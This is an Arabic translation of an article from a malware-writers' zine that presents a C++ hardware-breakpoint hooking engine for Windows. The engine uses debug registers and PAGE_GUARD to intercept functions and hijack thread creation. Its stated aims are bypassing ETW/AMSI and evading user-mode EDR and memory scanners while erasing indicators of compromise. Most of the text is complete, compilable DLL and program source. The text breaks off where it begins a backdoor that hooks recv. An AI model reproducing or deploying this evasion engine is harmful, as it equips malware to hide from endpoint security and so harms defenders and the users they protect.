
محرك ربط (Hooking) بنقاط الإيقاف العتادية لنظام ويندوز، يستخدم سجلات التصحيح (Debug Registers) لاعتراض الدوال، وتجاوز ETW/AMSI، والتهرب من مراقبة EDR على مستوى المستخدم.
كان هذا المقال في الأصل منشورًا في VX-Underground Black Mass Halloween Edition 2022.
محركات الخطاف (Hooking Engines):
تقنية تهرب عامة في مساحة المستخدم (user-land) لمعمارية x64 تعتمد على سجلات التصحيح:
أمثلة على خطافات ETW/AMSI متاحة
مهمتنا هي ربط الدوال ببساطة وتحويل مسار تدفق الكود كما يلزم، وأخيرًا إزالة الخطاف بمجرد زوال الحاجة إليه.
لا يمكننا الاعتماد على خطافات IAT لأنها لا تُستدعى دائمًا، وبالتالي فهي غير موثوقة. يُعد الربط المضمّن (inline hooking) تقنية قوية؛ غير أنه يتطلب ترقيع الذاكرة التي يقع فيها الكود. إنها تقنية قوية، لكن أدوات مثل PE-Sieve وMoneta تستطيع تمييز الفرق بين النسخة المقيمة في الذاكرة والنسخة الموجودة على القرص من أي وحدة (module)، والإشارة إلى ذلك. وهذا يتركنا مع الأداة المثالية للمهمة: سجلات التصحيح (Debug Registers)، رغم أنها لا تحظى بالتقدير الكافي من مؤلفي البرمجيات الخبيثة!
في Windows، وبنظرة عامة عالية المستوى، تُعد العملية (process) في جوهرها تغليفًا للخيوط (threads)، ويحتفظ كل خيط من هذه الخيوط بسياق (context) يمثّل حالة الخيط: السجلات والمكدس (stack) وما إلى ذلك. تُعد سجلات التصحيح موردًا بصلاحيات مميزة (privileged)، وكذلك ضبطها؛ غير أن Windows يوفّر استدعاءات نظام (syscalls) متنوعة تسمح لنا بأن نطلب من النواة (kernel) القيام بإجراء بصلاحيات مميزة بالنيابة عنا؛ ويشمل ذلك ضبط سجلات التصحيح وهو أمر مثالي بالنسبة لنا. تُتيح كل من NtSetThreadContext وNtGetThreadContext إمكانية تعديل أي سياق خيط يمكننا فتح مقبض (handle) له بالصلاحية اللازمة. يمكننا أن نرى كيفية ضبط سجلات التصحيح باستخدام Win32 API.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
هناك 8 سجلات تصحيح (Debug registers)، من Dr0 إلى Dr7. التي تهمنا هي فقط
Dr0-3 حيث نخزن العناوين التي نريد التوقف عندها، وDr6 هو مجرد حالة
التصحيح. الأهم هو Dr7، الذي يصف شروط نقاط التوقف التي سيرمي
المعالج استثناءً عندها. هناك قيود مختلفة عند استخدام سجلات التصحيح،
مثل عدد محدود (4) وعدم تطبيقها على جميع الخيوط/الخيوط المنشأة حديثًا.
سنسعى إلى معالجة بعض هذه القيود!
عندما يتم رمي الاستثناء، سيبحث عن معالج استثناء يمكننا تعريفه
وتسجيله في برنامجنا [1]. في معالج الاستثناء المعرّف لدينا، نريد أن يتم تشغيل الكود المرتبط
(مسارات كود مختلفة) عندما يتم تفعيل نقطة التوقف المقابلة.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
يتم تحقيق ذلك عبر دالة مُنشِئة تحدد الربط بين دالة لامدا "callback" وعنوان. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
يجب علينا التكرار عبر جميع مؤشرات ترابط العملية وتعيين التعديلات المقابلة
للسياق لكل منها. يمكن تحقيق ذلك باستخدام الدوال المساعدة ToolHelp32:
CreateToolhelp32Snapshot، وThread32Next. هذا ليس شيئًا معقدًا، لكنه يعالج أحد
قيودنا المتمثلة في عدم الارتباط بجميع مؤشرات الترابط.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
وجود نقاط توقف الأجهزة (hardware breakpoints) مضبوطة قد يكون مريبًا إلى حد ما، فقد تشير إلى نشاط ضار (مع أنّه لا توجد أي EDRs، على حد علمي، تفحصها بنشاط). يمكن استخدامها ضدنا كمؤشر IoC محتمل، لذا يجب علينا إزالة آثارها بمجرد انتهائنا من استخدامها.
يمكننا تنفيذ ذلك في دالة deconstructor الخاصة بنا!! ستقوم بالتكرار عبر جميع الخيوط (threads) والتحقق مما إذا كان السجل (&context.Dr0)[pos] يشير إلى العنوان الذي قمنا بتعيين نقطة توقف الأجهزة عنده مبدئيًا (pos هو مجرد فهرس % 4 يمنحنا الوصول إلى context.Dr0-Dr3). يمكننا أيضًا إزالة الشروط المطلوبة في سجل Dr7. يجب علينا أيضًا تذكر إزالة إدخال التعيين الخاص بنا. وبالتالي، فإن نقطة توقف الأجهزة لدينا ستكون موجودة فقط للمدة المطلوبة!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
مثال على نقطة توقف الأجهزة سيكون Sleep، حيث نستبدل مدة السكون
بـ 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
نعلم أنه يتعين علينا تعيين RCX بسبب اصطلاح الاستدعاء السريع رباعي السجلات لويندوز x64[1]. الوسيطة الأولى للمُنشئ هي العنوان الذي سيتم التوقف عنده، والثانية هي أي سجل من Dr0- 3 سيتم التخزين فيه (لاحظ أنه يمكننا فقط أن يكون لدينا 4 عناوين للتوقف عندها في وقت واحد)، و الثالثة هي دالة لامدا ستلتقط بالمرجع PEXCEPTION_POINTERS التي هي المعلومات التي سيستلمها معالج الاستثناء. سيسمح لنا هذا في النهاية بالتحكم في تدفق البرنامج بشكل مختلف اعتمادًا على نقطة التوقف التي تم تشغيلها.
عند إنشاء مؤشر ترابط جديد، فإنه لا يرث مجموعة سجلات التصحيح المرتبطة به إلا إذا تمكنا بطريقة ما من اعتراض إنشاء مؤشر ترابط جديد! إحدى الحيل الأنيقة التي يمكننا استخدامها هي التقاط عنوان البداية الفعلي وتحويل مؤشر الترابط الجديد لإنشاء مؤشر ترابط خاص بنا. معظم مؤشرات الترابط الجديدة ينتهي بها الأمر باستدعاء NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
أحد قيود هذا الحل هو أن مكدس الاستدعاءات للخيط سينشأ في
`HijackThread` الخاص بـ DLL المحقون لدينا وليس في الخيط الأصلي! بدلاً من ذلك، الحل الأفضل
سيكون استدعاء `NtCreateThreadEx` بأنفسنا ولكن تشغيله في حالة معلّقة
ثم تعيين نقاط التوقف العتادية المطلوبة. ثم نستعيد التنفيذ عن طريق استئناف
الخيط المعلّق مع ضبط سجلات التصحيح لهذا الخيط الجديد. هذا سيعالج
قيودًا أخرى لاستخدام سجلات التصحيح.
استدعاء التعليمات التي لدينا نقطة توقف مضبوطة عليها سيؤدي إلى حلقة لا نهائية؛
لذلك، نعطّل مؤقتًا نقطة التوقف العتادية المسؤولة عن تشغيل
عنوان `RIP` الحالي لدينا. وبمجرد الانتهاء من إجراء الاستدعاء، يمكننا استعادتها. سيتيح لنا هذا
استدعاء الدالة الأصلية (مثل الترامبولين). في هذه الحالة، يجب أن نشير إلى `RIP` الخاص بنا إلى
أداة `ret` بحيث يمكنها العودة وعدم تنفيذ تعليمة `syscall` أخرى.
المعامل الخامس، ومنه فصاعدًا، يمكن العثور عليه مدفوعًا على المكدس على فترات `0x8` بايت [2]. يبدو مكدسنا شيئًا كهذا عندما نشغّل نقطة التوقف.```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
أشارك محرك ربط نقاط توقف الأجهزة الذي يمكنك استخدامه وهو مكتوب بلغة C++. مثال نقطة توقف الأجهزة يُعين نقطة توقف في Dr0 على دالة sleep، ويضبط أول قيمة (في RCX) إلى 0، متجاوزًا جميع استدعاءات sleep. لتعيين نقطة التوقف هذه في جميع الخيوط الجديدة مستقبلًا، يمكنك استخدام المثال أعلاه، الذي يستخدم Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
كما ناقشنا سابقًا، فإن إبقاء سجلات التصحيح (debug registers) محجوزة هو ممارسة سيئة. لذلك، سنكمّل استخدامنا لسجلات التصحيح بخطافات PAGE_GUARD، مما يتيح لنا تحرير أحد سجلات التصحيح: Dr1 (المستخدم لـ NtCreateThreadEx).
إن PAGE_GUARDs هي في الأساس حماية ذاكرة تُستخدم لمرة واحدة وتُطلق استثناءً. تُطبَّق على الصفحات عند أدنى مستوى من دقة التخصيص (allocation granularity) الموجود في النظام (والذي قد يثبت أحيانًا أنه عائق). إن ربط PAGE_GUARD ليس بأمر جديد، لكن يمكننا استخدامه لمعالجة بعض القيود التي نواجهها. سنطبّق في البداية PAGE_GUARD على العنوان، وسيتم تشغيل PAGE_GUARD عبر إطلاق استثناء PAGE_GUARD_VIOLATION.
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
يمكننا تطبيق نفس مفهوم ربط lambda للتفعيل عند عنوان معيّن. سننفّذ تعليمات الدالة خطوة بخطوة (single-step) على صفحتنا الحالية مع إعادة تطبيق PAGE_GUARD. من الواضح أن هذا بطيء نسبيًا، لكن له ميزة عدم شغل سجل تصحيح (Debug register). ولأن السبب الرئيسي هو البطء، فقد اخترنا عدم استخدامها كخيار أساسي.```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
لتطبيق خطافات سجلات التصحيح على الخيوط الجديدة، يمكننا ببساطة نسخ المثال السابق لخطاف NtCreateThreadEx ولكن مع إزالة الحلقات التي نعطّل فيها ونستعيد HWBPs لخيطنا الحالي.
يمكننا تقديم مثال الكود الثاني حيث نقوم بالخطاف المذكور أعلاه لـ NtCreateThreadEx مع PAGE_GUARDs. كما في السابق، ستقوم دالة deconstructor الخاصة بنا بإزالة الإدخال من التعيين الخاص بنا وإزالة الحمايات (إذا تم ضبطها).```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
بعد تطبيق النظرية لإنشاء محرك ربط نقاط توقف العتاد متعدد الاستخدامات، سنواصل استخدام مزيج من سجلات التصحيح وPAGE_GUARDs، كما هو موضح في أمثلتنا السابقة، لتنفيذ باب خلفي مستوحى من SockDetour [3] كـ DLL بلغة C++. سنضع نقطة توقف عتادية على دالة recv لتحقيق ذلك وبناء المنطق المطلوب في lambda المقابلة. سنطبّق أيضًا PAGE_GUARD على NtCreateThreadEx ونستخدم أسلوبنا السابق في إنشاء الخيط في حالة معلّقة لتعيين سجلات التصحيح الصحيحة.
على الرغم من الطبيعة البطيئة لروابط PAGE_GUARD، لا ينبغي أن يكون ذلك مشكلة طالما أن نموذج الخادم لا ينشئ خيطًا جديدًا لكل طلب، مما يؤدي إلى أداء دون المستوى الأمثل. تحتفظ معظم نماذج خوادم الشبكات بمجموعة من الخيوط التي تبدأ وتُهيأ عند بدء البرنامج. لمزيد من الفهم حول نماذج الخوادم هذه، توفّر Microsoft مجموعة متنوعة من الأمثلة على Github [4]؛ مثال IOCP هو مثال ممتاز لما يبدو عليه نموذج خادم فعّال وقابل للتوسع للسياق.
يمكن أن تبدو بداية بابك الخلفي على هذا النحو:
